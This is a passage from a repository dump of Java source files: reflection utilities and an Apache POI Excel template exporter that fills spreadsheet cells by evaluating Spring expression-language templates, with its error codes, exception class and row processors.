\n\t * @see {@link ReflectionUtil#getClassName(Type)}\n\t */\n\tpublic static Class<?> getClass(Type type) \n\t\t\tthrows ClassNotFoundException {\n\t\tString className = getClassName(type);\n\t\tif (className==null || className.isEmpty()) {\n\t\t\treturn null;\n\t\t}\n\t\treturn Class.forName(className);\n\t}\n\t\n\t/**\n\t * Creates a new instance of the class represented by this {@code Type} object.\n\t * \n\t * @param type the {@code Type} object whose its representing {@code Class} object \n\t * \t\twill be instantiated.  \n\t * @return a newly allocated instance of the class represented by \n\t * \t\tthe invoked {@code Type} object.\n\t * \n\t * @throws ClassNotFoundException if the class represented by this {@code Type} object \n\t * \t\t\tcannot be located.\n\t * @throws InstantiationException if this {@code Type} represents an abstract class,\n     *             an interface, an array class, a primitive type, or void;\n     *             or if the class has no nullary constructor;\n     *             or if the instantiation fails for some other reason.\n\t * @throws IllegalAccessException if the class or its nullary constructor is not accessible.\n\t * \n\t * @see {@link Class#newInstance()}\n\t */\n\tpublic static Object newInstance(Type type) \n\t\t\tthrows ClassNotFoundException, InstantiationException, IllegalAccessException {\n\t\tClass<?> clazz = getClass(type);\n\t\tif (clazz==null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn clazz.newInstance();\n\t}\n\t\n\t/**\n\t * Returns an array of {@code Type} objects representing the actual type\n     * arguments to this object.\n     * If the returned value is null, then this object represents a non-parameterized \n     * object.\n\t * \n\t * @param object the {@code object} whose type arguments are needed. \n\t * @return an array of {@code Type} objects representing the actual type \n\t * \t\targuments to this object.\n\t * \n\t * @see {@link Class#getGenericSuperclass()}\n\t * @see {@link ParameterizedType#getActualTypeArguments()}\n\t */\n\tpublic static Type[] getParameterizedTypes(Object object) {\n\t\tType superclassType = object.getClass().getGenericSuperclass();\n\t\tif (!ParameterizedType.class.isAssignableFrom(superclassType.getClass())) {\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\treturn ((ParameterizedType)superclassType).getActualTypeArguments();\n\t}\n\n\tpublic static Type[] getParameterizedTypes(Class clazz) {\n\t\tType superclassType = clazz.getGenericSuperclass();\n\t\tif (!ParameterizedType.class.isAssignableFrom(superclassType.getClass())) {\n\t\t\treturn null;\n\t\t}\n\n\t\treturn ((ParameterizedType)superclassType).getActualTypeArguments();\n\t}\n\t\n\t/**\n\t * Checks whether a {@code Constructor} object with no parameter types is specified\n     * by the invoked {@code Class} object or not.\n\t * \n\t * @param clazz the {@code Class} object whose constructors are checked.\n\t * @return {@code true} if a {@code Constructor} object with no parameter types is specified.\n\t * @throws SecurityException If a security manager, <i>s</i> is present and any of the\n     *         following conditions is met:\n     *\t\t\t<ul>\n     *             <li> invocation of\n     *             {@link SecurityManager#checkMemberAccess\n     *             s.checkMemberAccess(this, Member.PUBLIC)} denies\n     *             access to the constructor\n     *\n     *             <li> the caller's class loader is not the same as or an\n     *             ancestor of the class loader for the current class and\n     *             invocation of {@link SecurityManager#checkPackageAccess\n     *             s.checkPackageAccess()} denies access to the package\n     *             of this class\n     *         </ul>\n     *         \n     * @see {@link Class#getConstructor(Class...)}\n\t */\n\tpublic static boolean hasDefaultConstructor(Class<?> clazz) throws SecurityException {\n\t\tClass<?>[] empty = {};\n\t\ttry {\n\t\t\tclazz.getConstructor(empty);\n\t\t} catch (NoSuchMethodException e) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\t/**\n\t * Returns a {@code Class} object that identifies the\n     * declared class for the field represented by the given {@code String name} parameter inside \n     * the invoked {@code Class<?> clazz} parameter.\n\t * \n\t * @param clazz the {@code Class} object whose declared fields to be \n\t * \t\tchecked for a certain field.\n\t * @param name the field name as {@code String} to be \n\t * \t\tcompared with {@link Field#getName()} \n\t * @return the {@code Class} object representing the type of given field name.\n\t * \n\t * @see {@link Class#getDeclaredFields()}\n\t * @see {@link Field#getType()}\n\t */\n\tpublic static Class<?> getFieldClass(Class<?> clazz, String name) {\n\t\tif (clazz==null || name==null || name.isEmpty()) {\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\tClass<?> propertyClass = null;\n\t\t\n\t\tfor (Field field : clazz.getDeclaredFields()) {\n\t\t    field.setAccessible(true);\n\t\t    if (field.getName().equalsIgnoreCase(name)) {\n\t\t    \tpropertyClass = field.getType();\n\t\t    \tbreak;\n\t\t    }\n\t\t}\n\t\t\n\t\treturn propertyClass;\n\t}\n\t\n\t/**\n\t * Returns a {@code Class} object that identifies the\n     * declared class as a return type for the method represented by the given \n     * {@code String name} parameter inside the invoked {@code Class<?> clazz} parameter.\n\t * \n\t * @param clazz the {@code Class} object whose declared methods to be \n\t * \t\tchecked for the wanted method name.\n\t * @param name the method name as {@code String} to be \n\t * \t\tcompared with {@link Method#getName()} \n\t * @return the {@code Class} object representing the return type of the given method name.\n\t * \n\t * @see {@link Class#getDeclaredMethods()}\n\t * @see {@link Method#getReturnType()}\n\t */\n\tpublic static Class<?> getMethodReturnType(Class<?> clazz, String name) {\n\t\tif (clazz==null || name==null || name.isEmpty()) {\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\tname = name.toLowerCase();\n\t\tClass<?> returnType = null;\n\t\t\n\t\tfor (Method method : clazz.getDeclaredMethods()) {\n\t\t\tif (method.getName().equals(name)) {\n\t\t\t\treturnType = method.getReturnType();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn returnType;\n\t}\n\t\n\t/**\n\t * Extracts the enum constant of the specified enum class with the\n     * specified name. The name must match exactly an identifier used\n     * to declare an enum constant in the given class.\n\t * \n\t * @param clazz the {@code Class} object of the enum type from which \n\t * \t\tto return a constant.\n\t * @param name the name of the constant to return.\n\t * @return the enum constant of the specified enum type with the\n     *      specified name.\n     *      \n     * @throws IllegalArgumentException if the specified enum type has\n     *         no constant with the specified name, or the specified\n     *         class object does not represent an enum type.\n     *         \n     * @see {@link Enum#valueOf(Class, String)}\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic static Object getEnumConstant(Class<?> clazz, String name) {\n\t\tif (clazz==null || name==null || name.isEmpty()) {\n\t\t\treturn null;\n\t\t}\n\t\treturn Enum.valueOf((Class<Enum>)clazz, name);\n\t}\n\n\t/**\n\t * 决断clz是否是基本类型 或者 基本类型的包装类型\n\t * @param clz\n\t * @return\n\t */\n\tpublic static boolean isPrimitiveOrWrapClass(Class clz){\n\t\tif(clz.isPrimitive()){\n\t\t\treturn true;\n\t\t}\n\n\t\treturn isWrapClass(clz);\n\t}\n\n\tpublic static boolean isWrapClass(Class clz) {\n\t\ttry {\n\t\t\treturn ((Class) clz.getField(\"TYPE\").get(null)).isPrimitive();\n\t\t} catch (Exception e) {\n//\t\t\te.printStackTrace();\n\t\t\treturn false;\n\t\t}\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exception/IErrors.java",
    "content": "package com.jun.plugin.poitest.exception;\n\n/**\n * 错误枚举的接口类\n * \n */\npublic interface IErrors {\n\n    /**\n     * 采用枚举中定义的message作为异常的信息\n     * \n     * @return\n     */\n    public PoiElException exp();\n\n    /**\n     * 采用枚举中定义的message作为异常信息，并传递一些参数\n     * \n     * @param args\n     *            参数列表\n     * @return\n     */\n    public PoiElException exp(Object... args);\n\n    /**\n     * 采用枚举中定义的message作为异常信息，并传递一些参数，支持传入底层的异常\n     * \n     * @param cause\n     *            原始异常\n     * @param args\n     *            参数列表\n     * @return\n     */\n    public PoiElException exp(Throwable cause, Object... args);\n\n    /**\n     * 采用枚举中定义的code，使用自定义的message作为异常信息，并可能会带上一些参数\n     * \n     * @param message\n     *            错误信息\n     * @param args\n     *            具体参数列表\n     * @return\n     */\n    public PoiElException expMsg(String message, Object... args);\n\n    /**\n     * 采用枚举中定义的code，使用自定义的message作为异常信息，并可能会带上一些参数，并自持传入底层的异常\n     * \n     * @param message\n     *            错误信息\n     * @param cause\n     *            原始异常\n     * @param args\n     *            具体参数列表\n     * @return\n     */\n    public PoiElException expMsg(String message, Throwable cause, Object... args);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exception/PoiElErrorCode.java",
    "content": "package com.jun.plugin.poitest.exception;\n\nimport java.text.MessageFormat;\n\n/**\n * 异常码区段：[1001-1999]\n* @author wzy\n* @date 2017年6月20日 上午11:59:32\n*/\npublic enum PoiElErrorCode implements IErrors {\n\tTAG_NOT_FOUND(1001, \"[{0}]中找不到tag:[{1}]\"),\n\tTEMPLATE_FILE_NOT_FOUND(1002, \"找不到模板[{0}]\"),\n\tEXCEL_FILE_NOT_FOUND(1003, \"找不到被导入的excel[{0}]\"),\n\t/**-----------------COMMON ERROR--------------------*/\n\tSYSTEM_ERROR(1998, \"系统错误\"),\n\tILLEGAL_PARAM(1999, \"参数异常:{0}\");\n\t\n\t\n\tprivate int code;\n\tprivate String msg;\n\t\n\tprivate PoiElErrorCode(int code, String msg) {\n\t\tthis.code = code;\n\t\tthis.msg = msg;\n\t}\n\n\tpublic int getCode() {\n\t\treturn code;\n\t}\n\n\tpublic void setCode(int code) {\n\t\tthis.code = code;\n\t}\n\n\tpublic String getMsg() {\n\t\treturn msg;\n\t}\n\n\tpublic void setMsg(String msg) {\n\t\tthis.msg = msg;\n\t}\n\n\n\t@Override\n\tpublic PoiElException exp() {\n\t\treturn new PoiElException(code, msg);\n\t}\n\n\t@Override\n\tpublic PoiElException exp(Object... args) {\n\t\treturn new PoiElException(code, MessageFormat.format(msg, args));\n\t}\n\n\t@Override\n\tpublic PoiElException exp(Throwable cause, Object... args) {\n\t\treturn new PoiElException(code, MessageFormat.format(msg, args), cause);\n\t}\n\n\t@Override\n\tpublic PoiElException expMsg(String message, Object... args) {\n\t\treturn new PoiElException(code, MessageFormat.format(message, args));\n\t}\n\n\t@Override\n\tpublic PoiElException expMsg(String message, Throwable cause, Object... args) {\n\t\treturn new PoiElException(code, MessageFormat.format(message, args), cause);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exception/PoiElException.java",
    "content": "package com.jun.plugin.poitest.exception;\n/**\n* @author wzy\n* @date 2017年6月20日 上午11:53:59\n*/\npublic class PoiElException extends RuntimeException {\n\tprivate static final long serialVersionUID = 1L;\n\n    /**\n     * 异常错误码\n     */\n    protected int code;\n\n\tpublic PoiElException(int code, String message) {\n\t\tsuper(message);\n\t\tthis.code = code;\n\t}\n\t\n\tpublic PoiElException(int code, String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t\tthis.code = code;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/PoiExporter.java",
    "content": "package com.jun.plugin.poitest.exp;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Map;\n\nimport org.apache.poi.xssf.usermodel.XSSFRow;\nimport org.apache.poi.xssf.usermodel.XSSFSheet;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.expression.spel.standard.SpelExpressionParser;\n\nimport com.jun.plugin.poitest.exception.PoiElErrorCode;\nimport com.jun.plugin.poitest.exp.context.PoiExporterContext;\nimport com.jun.plugin.poitest.exp.function.FunctionRegister;\nimport com.jun.plugin.poitest.exp.processor.RowProcessorStrategy;\nimport com.jun.plugin.poitest.log.Log;\n\n/**\n * excel导出类\n * @author wzy\n * @date 2017年7月5日 上午9:41:52\n */\npublic class PoiExporter {\n\tprivate static final Logger logger = LoggerFactory.getLogger(PoiExporter.class);\n\t\n\t/**\n\t * 向StandardEvaluationContext中注册内部函数\n\t */\n\tstatic {\n\t\tFunctionRegister.registerInternalFunction();\n\t}\n\t\n\tpublic static void export(XSSFWorkbook wb, Map<String, Object> rootObjectMap) {\n\t\tLong start = System.currentTimeMillis();\n\t\t\n\t\tPoiExporterContext peContext = new PoiExporterContext(new SpelExpressionParser(), rootObjectMap);\n\t\t\n\t\t// 分sheet进行处理\n\t\tfor (int i = 0; i < wb.getNumberOfSheets(); i++) {\n\t\t\tXSSFSheet sheet = wb.getSheetAt(i);\n\t\t\t// 开始行结束行\n\t\t\tint j = sheet.getFirstRowNum();\n\t\t\t// 每行\n\t\t\twhile (j <= sheet.getLastRowNum()) {\n\t\t\t\tXSSFRow row = sheet.getRow(j);\n\t\t\t\tif (row == null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tint dealRows = RowProcessorStrategy.getRowProcessor(row).dealRow(row, peContext);\n\t\t\t\tj = j + dealRows;\n\t\t\t}\n\t\t}\n\t\t\n\t\tlong end = System.currentTimeMillis();\n\t\t\n\t\tlogger.info(Log.op(\"PoiEl#parse\").msg(\"PoiEl解析模板耗时[{0}]ms\", (end - start)).toString());\n\t}\n\t\n\t/**\n\t * 导出到指定地方 des\n\t * @param templateFile\n\t * @param rootObjectMap\n\t * @param des\n\t * @return\n\t */\n\tpublic static XSSFWorkbook export2Destination(File templateFile, Map<String, Object> rootObjectMap, OutputStream des){\n\t\tInputStream in = null;\n\t\ttry {\n\t\t\tin = new FileInputStream(templateFile);\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow PoiElErrorCode.TEMPLATE_FILE_NOT_FOUND.exp(e, templateFile.getName());\n\t\t}\n\t\treturn export2Destination(in, rootObjectMap, des);\n\t}\n\t\n\t/**\n\t * 导出到指定地方 des\n\t * @param templateInputStream 模板\n\t * @param rootObjectMap 数据\n\t * @param des 导出的位置\n\t * @return\n\t */\n\tpublic static XSSFWorkbook export2Destination(InputStream templateInputStream, Map<String, Object> rootObjectMap, OutputStream des){\n\t\tXSSFWorkbook wb = null;\n\t\ttry {\n\t\t\twb = new XSSFWorkbook(templateInputStream);\n\t\t} catch (IOException e) {\n\t\t\tthrow PoiElErrorCode.SYSTEM_ERROR.exp(e);\n\t\t}\n\t\tPoiExporter.export(wb, rootObjectMap);\n\t\t\n\t\t// 关闭资源\n\t\ttry {\n\t\t\twb.write(des);\n\t\t\tdes.flush();\n\t\t\tdes.close();\n\t\t} catch (IOException e) {\n\t\t\tthrow PoiElErrorCode.SYSTEM_ERROR.exp(e);\n\t\t}\n\t\t\n\t\treturn wb;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/context/PoiExporterContext.java",
    "content": "package com.jun.plugin.poitest.exp.context;\n\nimport java.util.Map;\n\nimport org.springframework.expression.spel.standard.SpelExpressionParser;\nimport org.springframework.expression.spel.support.StandardEvaluationContext;\n\n/**\n * 上下文\n * \n * @author wzy\n * @date 2017年7月11日 下午7:54:10\n */\npublic class PoiExporterContext {\n\tprivate SpelExpressionParser spelExpParser;\n\tpublic static final StandardEvaluationContext EVAL_CONTEXT = new StandardEvaluationContext();\n\tprivate Map<String, Object> rootObjectMap;\n\n\tpublic PoiExporterContext() {\n\t\tsuper();\n\t}\n\n\tpublic PoiExporterContext(SpelExpressionParser spelExpressionParser, Map<String, Object> rootObjectMap) {\n\t\tthis.spelExpParser = spelExpressionParser;\n\t\tthis.rootObjectMap = rootObjectMap;\n\t}\n\n\tpublic SpelExpressionParser getSpelExpParser() {\n\t\treturn spelExpParser;\n\t}\n\n\tpublic Map<String, Object> getRootObjectMap() {\n\t\treturn rootObjectMap;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/domain/MutiRowModel.java",
    "content": "package com.jun.plugin.poitest.exp.domain;\n\nimport java.util.Map;\n\npublic class MutiRowModel {\n\tprivate Integer begin; // 开始行（相对于模板）\n\tprivate Integer end; // 结束行（相对于模板）\n\tprivate String listKey; // 循环标签取数据的key\n//\t第一个Integer：行号    第二个Integer：单元列号   Object：单元格里面的值\n\tprivate Map<Integer,Map<Integer,Object>> cellMap; // 存放需要循环的行里面的模板值\n\t\n\tpublic Integer getBegin() {\n\t\treturn begin;\n\t}\n\tpublic void setBegin(Integer begin) {\n\t\tthis.begin = begin;\n\t}\n\tpublic Integer getEnd() {\n\t\treturn end;\n\t}\n\tpublic void setEnd(Integer end) {\n\t\tthis.end = end;\n\t}\n\tpublic String getListKey() {\n\t\treturn listKey;\n\t}\n\tpublic void setListKey(String listKey) {\n\t\tthis.listKey = listKey;\n\t}\n\tpublic Map<Integer, Map<Integer, Object>> getCellMap() {\n\t\treturn cellMap;\n\t}\n\tpublic void setCellMap(Map<Integer, Map<Integer, Object>> cellMap) {\n\t\tthis.cellMap = cellMap;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/function/FunctionRegister.java",
    "content": "package com.jun.plugin.poitest.exp.function;\n\nimport java.lang.reflect.Method;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.poitest.exp.context.PoiExporterContext;\n\n/**\n * 函数注册器\n * @author wzy\n * @date 2017年7月11日 下午7:57:23\n */\npublic class FunctionRegister {\n\tprivate static final Logger logger = LoggerFactory.getLogger(FunctionRegister.class);\n\t\n\tpublic static void registerInternalFunction(){\n\t\tMethod[] methods = InternalUtils.class.getDeclaredMethods();\n\t\tlogger.info(\"|----------PoiEl注册的内部函数------------|\");\n\t\tfor(Method m : methods){\n\t\t\tString funName = m.getName();\n\t\t\tlogger.info(\"|-----------\" + funName + \"------------------|\");\n\t\t\tPoiExporterContext.EVAL_CONTEXT.registerFunction(funName, m);\n\t\t}\n\t\tlogger.info(\"|------------------------------------|\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/function/InternalUtils.java",
    "content": "package com.jun.plugin.poitest.exp.function;\n\nimport java.util.Date;\n\nimport org.joda.time.DateTime;\n\n/**\n * <pre>\n * 内部函数库，使用EL表达式在excel模板中调用。\n * 示例：\n *  #{ T(com.kvn.poi.function.InternalUtils).fmtDate(beginTime,'yyyy-MM-dd') }\n * </pre>\n * \n * @author wzy\n * @date 2017年7月6日 下午5:47:03\n */\npublic class InternalUtils {\n\n\t/**\n\t * 日期格式化\n\t * \n\t * @param date\n\t * @param pattern\n\t * @return\n\t */\n\tpublic static String fmtDate(Date date, String pattern) {\n\t\tDateTime dt = new DateTime(date.getTime());\n\t\treturn dt.toString(pattern);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/processor/DefaultRowProcessor.java",
    "content": "package com.jun.plugin.poitest.exp.processor;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.poi.xssf.usermodel.XSSFCell;\nimport org.apache.poi.xssf.usermodel.XSSFRow;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.expression.EvaluationException;\nimport org.springframework.expression.ParseException;\nimport org.springframework.expression.common.TemplateParserContext;\n\nimport com.jun.plugin.poitest.common.Constants;\nimport com.jun.plugin.poitest.exp.context.PoiExporterContext;\nimport com.jun.plugin.poitest.log.Log;\n\n/**\n * 默认的行处理器。单元格内容中含有${key}的进行替换，否则不处理\n * \n * @author wzy\n */\npublic class DefaultRowProcessor implements RowProcessor {\n\tprivate static final Logger logger = LoggerFactory.getLogger(DefaultRowProcessor.class);\n\n\tpublic static class SINGLE {\n\t\tpublic static DefaultRowProcessor INSTANCE = new DefaultRowProcessor();\n\t}\n\n\t@Override\n\tpublic int support(XSSFRow row) {\n\t\treturn 0;\n\t}\n\n\t@Override\n\tpublic int dealRow(XSSFRow currentRow, PoiExporterContext peContext) {\n\t\tfor (int i = 0; i < currentRow.getLastCellNum(); i++) {\n\t\t\tXSSFCell cell = currentRow.getCell(i);\n\t\t\tif (null != cell && cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {\n\t\t\t\tString cellContent = cell.getStringCellValue();\n\t\t\t\tString resolvedContent = resolve(cellContent, peContext);\n\t\t\t\tcell.setCellValue(resolvedContent);\n\t\t\t}\n\n\t\t}\n\t\treturn 1;\n\t}\n\n\t/**\n\t * 将带有${key}和${vo.key}的内容进行替换\n\t * \n\t * @param cellContent\n\t * @param rootObjectMap\n\t * @param parser\n\t * @return\n\t */\n\tpublic static String resolve(String cellContent, PoiExporterContext peContext) {\n\t\tString resolvedContent = cellContent;\n\t\tPattern pattern = Pattern.compile(Constants.POI_KEY_REGEXP);\n\t\t// 处理${key}\n\t\tfor (Matcher matcher = pattern.matcher(resolvedContent); matcher.find(); matcher = pattern.matcher(resolvedContent)) {\n\t\t\tString key = matcher.group(1);\n\t\t\tString value = (String) peContext.getRootObjectMap().get(key);\n\t\t\tresolvedContent = matcher.replaceFirst(value);\n\t\t}\n\n\t\t// 处理${vo.key}\n\t\tpattern = Pattern.compile(Constants.POI_VO_DOT_KEY_REGEXP);\n\t\ttry {\n\t\t\tfor (Matcher matcher = pattern.matcher(resolvedContent); matcher.find(); matcher = pattern.matcher(resolvedContent)) {\n\t\t\t\tString vo = matcher.group(2);\n\t\t\t\tvo = vo.substring(0, vo.length()-1);\n\t\t\t\tObject rootObjectItem = peContext.getRootObjectMap().get(vo);\n\t\t\t\tString expression = matcher.replaceFirst(\"#$1$3\"); // 转换成EL\n\t\t\t\tString resolvedKey = peContext.getSpelExpParser().parseExpression(expression, new TemplateParserContext()).getValue(peContext.EVAL_CONTEXT, rootObjectItem, String.class);\n\t\t\t\tresolvedContent = resolvedKey; // 替换内容\n\t\t\t}\n\t\t} catch (EvaluationException | ParseException e) {\n\t\t\tlogger.error(Log.op(\"DefaultRowProcessor#resolve\").msg(\"EL解析出错\").toString(), e);\n\t\t}\n\t\treturn resolvedContent;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/exp/processor/ForeachRowProcessor.java",
    "content": "package com.jun.plugin.poitest.exp.processor;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.TreeMap;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.poi.ss.util.CellRangeAddress;\nimport org.apache.poi.xssf.usermodel.XSSFCell;\nimport org.apache.poi.xssf.usermodel.XSSFRow;\nimport org.apache.poi.xssf.usermodel.XSSFSheet;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.expression.EvaluationException;\nimport org.springframework.expression.Expression;\nimport org.springframework.expression.common.TemplateParserContext;\n\nimport com.jun.plugin.poitest.common.Constants;\nimport com.jun.plugin.poitest.exception.PoiElErrorCode;\nimport com.jun.plugin.poitest.exp.context.PoiExporterContext;\nimport com.jun.plugin.poitest.exp.domain.MutiRowModel;\nimport com.jun.plugin.poitest.log.Log;\n\n/**\n * <poi:foreach></poi:foreach>的处理器\n * @author wzy\n *\n */\npublic class ForeachRowProcessor implements RowProcessor {\n\tprivate static final Logger logger = LoggerFactory.getLogger(ForeachRowProcessor.class);\n\n\t@Override\n\tpublic int dealRow(XSSFRow currentRow, PoiExporterContext peContext) {\n\t\tXSSFCell beginCell = currentRow.getCell(support(currentRow));\n\n\t\t// 从beginCell中找出list key\n\t\tString beginCellContent = beginCell.getStringCellValue();\n\t\tMatcher ma = Pattern.compile(Constants.POI_FOREACH_START_REGEXP).matcher(beginCellContent);\n\t\tString key = null;\n\t\tif (ma.find()) {\n\t\t\tkey = ma.group(1).trim();\n\t\t} else {\n\t\t\tthrow PoiElErrorCode.TAG_NOT_FOUND.exp(beginCellContent, Constants.POI_FOREACH_START_REGEXP);\n\t\t}\n\n\t\tMutiRowModel tpRow = new MutiRowModel();\n\t\ttpRow.setListKey(key);\n\t\ttpRow.setBegin(beginCell.getRowIndex());\n\t\tMap<Integer, Map<Integer, Object>> cellMap = new TreeMap<>();\n\t\tint beginRowNum = beginCell.getRow().getRowNum();\n\t\tPattern prePattern = Pattern.compile(Constants.POI_FOREACH_START_REGEXP);\n\t\tPattern postPattern = Pattern.compile(Constants.POI_FOREACH_END_REGEXP);\n\t\twhile (beginRowNum <= beginCell.getSheet().getLastRowNum() && null == tpRow.getEnd()) {\n\t\t\tXSSFRow row = beginCell.getSheet().getRow(beginRowNum);\n\t\t\tif (row == null) {\n\t\t\t\t// throw new Exception();\n\t\t\t}\n\t\t\tMap<Integer, Object> map = new HashMap<>();\n\t\t\tshort end = row.getLastCellNum();\n\t\t\tfor (int k = 0; k <= end; k++) {\n\t\t\t\tXSSFCell cell = row.getCell(k);\n\t\t\t\tif (null == cell) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tString cellValue = cell.getRichStringCellValue().getString().trim();\n\t\t\t\tif (cellValue.equals(\"\")) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tString value = cellValue;\n\t\t\t\tMatcher preMatcher = prePattern.matcher(cellValue);\n\t\t\t\tif (preMatcher.find()) {\n\t\t\t\t\tvalue = preMatcher.replaceAll(\"\");\n\t\t\t\t}\n\t\t\t\tMatcher postMatcher = postPattern.matcher(cellValue);\n\t\t\t\tif (postMatcher.find()) {\n\t\t\t\t\tvalue = postMatcher.replaceAll(\"\");\n\t\t\t\t\ttpRow.setEnd(beginRowNum);\n\t\t\t\t}\n\t\t\t\t// 存放<单元格列号, 单元格内容>。单元格内容是除去tag之外的\n\t\t\t\tmap.put(k, value);\n\t\t\t}\n\t\t\tcellMap.put(beginRowNum, map);\n\t\t\tbeginRowNum++;\n\t\t}\n\t\ttpRow.setCellMap(cellMap);\n\n\t\tObject rootObject = peContext.getRootObjectMap().get(key);\n\t\tif(!(rootObject instanceof List)){\n\t\t\tthrow PoiElErrorCode.ILLEGAL_PARAM.exp(\"<poi:foreach>中list：\" + key + \"对应的值应该为List\");\n\t\t}\n\t\t\n\t\tList<?> ls = (List<?>) rootObject;\n\t\t\n\t\t// transfer\n\t\tsetMutiData(beginCell, ls, tpRow, peContext);\n\n\t\treturn ls.size() * (tpRow.getEnd() - tpRow.getBegin() + 1);\n\t}\n\n\t/**\n\t * 进行拷贝和赋值\n\t * @param cell\n\t * @param ls\n\t * @param tpRow\n\t * @param parser\n\t */\n\tprivate static void setMutiData(XSSFCell cell, List<?> ls, MutiRowModel tpRow, PoiExporterContext peContext) {\n\t\tXSSFSheet sheet = cell.getSheet();\n\t\tint mutiRow = tpRow.getEnd() - tpRow.getBegin() + 1; // 循环的行数\n\t\t// 行往下移\n\t\tsheet.shiftRows(tpRow.getEnd() + 1, sheet.getLastRowNum() + 3, (ls.size() - 1) * mutiRow, true, false);\n\n\t\tMap<Integer, Map<Integer, Object>> cellMap = tpRow.getCellMap();\n\n\t\tfor (int i = 0; i < ls.size(); i++) {\n\t\t\tObject rootObjectItem = ls.get(i);\n\t\t\tfor (Integer key1 : cellMap.keySet()) { // key1为row行号\n\t\t\t\tXSSFRow curRow = null;\n\t\t\t\tif (i == 0) {\n\t\t\t\t\tcurRow = sheet.getRow(key1);\n\t\t\t\t} else {\n\t\t\t\t\tcurRow = sheet.createRow(i * mutiRow + key1);\n\t\t\t\t\t// 拷贝样式\n\t\t\t\t\tcopyCellStyle(sheet.getRow(key1), curRow);\n\t\t\t\t\t// 合并\n\t\t\t\t\tcopyMergeRegion(sheet, key1, i * mutiRow + key1);\n\t\t\t\t}\n\n\t\t\t\t// 处理当前行里面的每个单元格：替换内容\n\t\t\t\tMap<Integer, Object> map = cellMap.get(key1);\n\t\t\t\tfor (Integer key : map.keySet()) {\n\t\t\t\t\tString cellContent = map.get(key) == null ? \"\" : (String) map.get(key);\n\t\t\t\t\tXSSFCell c = curRow.getCell(key);\n\t\t\t\t\tc.setCellValue(parseValue(cellContent, rootObjectItem, peContext));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n\tprivate static String parseValue(String cellContent, Object rootObjectItem, PoiExporterContext peContext) {\n\t\t// 处理EL表达式\n\t\tExpression expression = peContext.getSpelExpParser().parseExpression(cellContent, new TemplateParserContext());\n\t\tString parsedContent = null;\n\t\ttry {\n\t\t\tparsedContent = expression.getValue(PoiExporterContext.EVAL_CONTEXT, rootObjectItem, String.class);\n\t\t} catch (EvaluationException e) {\n\t\t\tlogger.error(Log.op(\"ForeachRowProcessor#parseValue\").msg(\"EL解析出错啦\").toString(), e);\n\t\t\treturn cellContent; // 异常后，原样返回，不再处理\n\t\t}\n\t\t// 处理${key}\n\t\treturn DefaultRowProcessor.resolve(parsedContent, peContext);\n\t}\n\n\t/**\n\t * 拷贝样式\n\t * \n\t * @param src\n\t * @param des\n\t */\n\tprivate static void copyCellStyle(XSSFRow src, XSSFRow des) {\n\t\tfor (int i = src.getFirstCellNum(); i < src.getLastCellNum(); i++) {\n\t\t\tdes.createCell(i).setCellStyle(src.getCell(i).getCellStyle());\n\t\t}\n\t}\n\n\t/**\n\t * 拷贝合并单元格\n\t * \n\t * @param sheet\n\t * @param srcRow\n\t * @param desRow\n\t */\n\tprivate static void copyMergeRegion(XSSFSheet sheet, int srcRow, int desRow) {\n\t\tfor (int j = 0; j < sheet.getNumMergedRegions(); j++) {\n\t\t\tCellRangeAddress oldRegion = sheet.getMergedRegion(j);\n\t\t\tif ((oldRegion.getFirstRow() == srcRow) && (oldRegion.getLastRow() == srcRow)) {\n\t\t\t\tint oldFirstCol = oldRegion.getFirstColumn();\n\t\t\t\tint oldLastCol = oldRegion.getLastColumn();\n\t\t\t\tCellRangeAddress newRegion = new CellRangeAddress(desRow, desRow, oldFirstCol, oldLastCol);\n\t\t\t\t// 